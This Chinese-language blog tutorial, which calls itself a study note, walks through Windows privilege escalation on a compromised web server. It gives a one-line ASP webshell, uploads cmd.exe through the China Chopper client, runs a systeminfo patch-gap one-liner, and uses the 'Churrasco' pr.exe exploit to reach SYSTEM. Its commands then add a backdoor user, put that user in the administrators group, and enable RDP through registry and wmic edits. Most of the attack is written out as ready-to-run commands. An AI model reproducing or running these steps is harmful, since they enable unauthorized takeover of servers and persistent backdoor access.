提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
Windows提权:
前提:提权的前提条件是拿到服务器的webshell,可通过sql注入、文件上传、命令执行、反序列化等 方式把一句话木马写入到目标网站中。
webshell是啥?
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管
理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日
常操作,极大地方便了使用者对网站和服务器的管理。
最普通的一句话木马: <%eval request(“test”)%>
1.连接服务器
使用菜刀

2.替换cmd
1.命令执行拒绝访问(没有权限)

原因:菜刀调用的是目标服务器系统的cmd.exe,此cmd.exe程序没有iuser权限(从网站进去服务器
时,当前身份是来宾用户并没有权限去调用系统的CMD.exe)
思路:目前我们是有拿到webshell的,那么说明该站点根目录是具有可读写的权限,此时我们可以通过
菜刀上传一个脚本去检测网站目录的权限(使用脚本666.asp检测目录权限)
2.找到网站下面具有读写权限的目录。
先找到网站下面具有读写权限的目录

上传成功之后,通过浏览器访问此脚本,直接在检测框中输入目标服务器的根目录(比如:C盘)

点击开始检测,即可查找对方服务器的具备可读写的目录,咱们随便选择一个即可:

菜刀下面找到我们选择的目录c\wmpub
根据对方的操作系统版本,找到对应的操作系统版本中的cmd.exe的程序。(注意上传的cmd.exe程
序的版本和型号:如果对方是Windows2003操作系统,那么我们可以在本地虚拟机搭建Windows2003
的机器,下载里面的cmd.exe程序,通过菜刀上传到对方服务器站点)

使用setp命令以绝对路径的方式去调用我们上传的cmd.exe程序
setp C:\www.test\XYCMS\inc\cmd.exe

此时我们在执行操作命令就可以成功了

原理:我们自己上传的cmd.exe程序,是通过网站上传的,他具备iuser(来宾用户)权限,所以我们可
以直接通过它以来宾用户的身份来调用操作系统的命令。
3.提权
1.拒绝访问

net user 1234 1234 /add
显示:拒绝访问
说明目前我们的权限还不是管理员,所以还需要进一步提升权限
2.查看补丁
首先查看对方服务器打了哪些补丁:systeminfo
Systeminfo命令是windows系统中显示系统信息的命令,此命令可以显示出计算机的操作系统的详细配
置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性(如 RAM、磁盘空间和网卡)。
注意:如果遇到systeminfo命令不可使用时,大概率是因为对方操作系统的systeminfo.exe程序权
限不够或者损坏,此时我们可以再次通过菜刀上传systeminfo.exe,通过绝对路径调用去执行。
使用systeminfo执行检测未打补丁的命令来进行补丁检测
systeminfo>micropoor.txt&(for %i in (KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 KB959454) do @type micropoor.txt|@find /i "%i" >nul||@echo %i you can fuck)&del /f /q micropoor.txt

或者
systeminfo > micropoor.txt & (for %i in (KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 KB885835 KB896424 KB893066 KB890830 KB873333 KB891781 KB873339 KB885836 KB888113 KB890046 KB891861 KB893086 KB896358 KB899587 KB899588 KB900725 KB901214 KB902400 KB904706 KB905414 KB905749 KB908519 KB908531 KB910437 KB911562 KB911927 KB912919 KB913580 KB914388 KB915800 KB916281 KB917344 KB918118 KB918439 KB918899 KB919007 KB920213 KB920342 KB920670 KB920683 KB920685 KB922582 KB922819 KB923191 KB923414 KB923980 KB924270 KB924667 KB925398 KB925902 KB926122 KB926255 KB926436 KB927436 KB928843 KB928255 KB929123 KB930178 KB930916 KB931784 KB932168 KB932590 KB933566 KB935839 KB936021 KB936782 KB937143 KB938127 KB938464 KB939373 KB940541 KB941569 KB941644 KB942830 KB943055 KB943460 KB944338 KB944653 KB945553 KB946648 KB948496 KB950762 KB950974 KB951066 KB951748 KB952004 KB952954 KB953155 KB953298 KB953761 KB954155 KB954459 KB955069 KB955839 KB956803 KB957095 KB957097 KB958644 KB959426 KB959454 KB960225 KB960803 KB961501 KB961729 KB963093 KB967715 KB968389 KB968537 KB968585 KB969604 KB970430 KB971468 KB971657 KB971961 KB973507 KB973869 KB973904 KB974112 KB974318 KB974392 KB974571 KB975025 KB975467 KB975560 KB975713 KB976098 KB976323 KB976662 KB976749 KB977914 KB978037 KB978338 KB978542 KB978601 KB978695 KB978835 KB979309 KB979683 KB980232 KB981957 KB982316) do @findstr /i /c:"%i" micropoor.txt > nul || @echo %i is missing) & del /f /q micropoor.txt

此命令是通过对比systeminfo命令输出的内容,将操作系统没有打的补丁编号输出出来。
很多公司的安全人员去用设备监控整个公司的几千甚至几万台服务器。可以在监控设备上清楚的看
到哪台电脑没有打补丁、那台电脑系统没有升级、那台电脑出现了xxx漏洞.....
这些设备之所以能够监控到这些东西,也都是通过调用系统systeminfo命令去匹配对应的文件去实现的。
3.搜索EXP
根据这些补丁编号,去公开的网站搜索EXP(百度,CSDN,github等),复现提权

注意:利用对应的漏洞的时候,漏洞匹配对应的操作系统的版本!!!!
4.巴西烤肉漏洞利用
巴西烤肉:也称之为Microsoft Windows RPCSS服务隔离本地权限提升漏洞
原理是:
RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运行的进程,本地攻击
者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随
后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户
4.1通过菜刀上传pr.exe

4.2调用pr.exe
菜刀命令行先切换到上传程序所在的目录,然后调用pr.exe,后面接双引号(注意双引号为英文状态 下的)双引号中加上需要执行的命令,例如pr.exe “whoami”
pr.exe "whoami"

此时可以看到我们的身份是system(SYSTEM的中文意思是系统,在Windows中拥有比管理员更大的权限)说明我们已经提权成功了!
4.3验证管理员权限-加用户
验证是否为管理员权限,我们只需要添加一个账号即可。因为添加账号是需要管理员权限才能进行的。
在目标系统添加一个名为12345的账户:(密码也是12345)
pr.exe "net user 12345 12345 /add"
检查目标系统账户:
net user

12345账户已经成功添加!进一步验证我们的提权是成功的
4.4验证管理员权限-加管理员组
将添加的12345账户加入到管理员组
pr.exe "net localgroup administrators 12345 /add"

4.5工具开启3389远程连接
开启目标机器3389远程连接,可直接使用我们创建的12345用户去远程连接。此时12345用户已经是管理员权限,也就意味着我们能在目标服务器上面做很多事情了!
开启3389方法:直接菜刀上传脚本3389.exe,然后通过pr.exe去调用,即可一键开启3389!
pr.exe "3389.exe"

我们进目标服务器检查一下,即可发现3389远程连接已经成功开启!

此时,使用我们创建的1234用户,在我们自己的主机上利用远程连接,输入1234账号和密码即可远程连接上目标服务器了!而且因为之前我们将1234用户加入了管理员组,拥有管理员权限,所以我们可以利用远程连接在目标服务器上做很多事情!

成功连接上
4.6命令行开启3389
在获取权限后,针对3389进行展开,先查询3389端口是否开启:
netstat -ano | findstr 3389
发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限):
(开启)
pr.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f “
(关闭)
pr.exe "REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f "
若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统):
(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1
(关闭)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0
本文是网安学习记录,维护网络安全靠大家








